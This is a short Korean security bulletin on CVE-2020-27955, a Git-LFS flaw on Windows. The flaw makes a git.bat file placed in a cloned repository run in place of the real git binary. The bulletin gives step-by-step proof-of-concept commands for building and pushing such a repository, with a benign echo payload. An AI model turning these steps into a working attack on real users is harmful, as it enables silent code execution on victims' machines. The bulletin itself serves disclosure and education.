[하루한줄] CVE-2020-27955: Git-LFS RCE Exploit

URL

Git-LFS RCE Exploit CVE-2020-27955

Target

Git <= 2.29.2-git-lfs

Explain

대용량 파일을 업로드 하기 위해 github에서 개발한 extension인 git-lfs(Large File Storage)에서 Windows를 대상으로 원격 코드 실행이 가능한 취약점이 발견되었습니다.

해당 취약점을 악용하여 git-lfs로 업로드한 파일이 있는 저장소에서 Windows 시스템의 피해자가 저장소를 복제할 때 상호작용 없이 공격자의 악성 바이너리가 실행될 수 있습니다.

취약점의 PoC는 아래와 같습니다.

  1. 공격자는 저장소에 실행할 명령어를 포함한 git.* 이름의 windows 바이너리 형식 파일을 추가합니다.

    git.bat : @echo git-lfs RCE exploit!!
    git add git.bat
  2. 저장소에 lfs 파일을 추가합니다.

    git lfs track "* .dat" 
    git add .gitattributes
    
    echo "git exploit PoC"> lfs.dat
    git add lfs.dat
  3. 바이너리와 lfs 파일을 커밋하고 원격 저장소에 업로드합니다.

    git commit -a -m "git-lfs exploit"
    git remote add origin https://repository_url
    git push -u origin master
  4. Windows 시스템에서 clone할 때 git-lfs 취약점이 트리거되어 기존 git 바이너리 대신 공격자의 원격 저장소에서 clone한 악성 git.bat이 사용자 상호작용 없이 실행됩니다.

    PowerShell> git clone https://repository_url
    git-lfs RCE exploit!!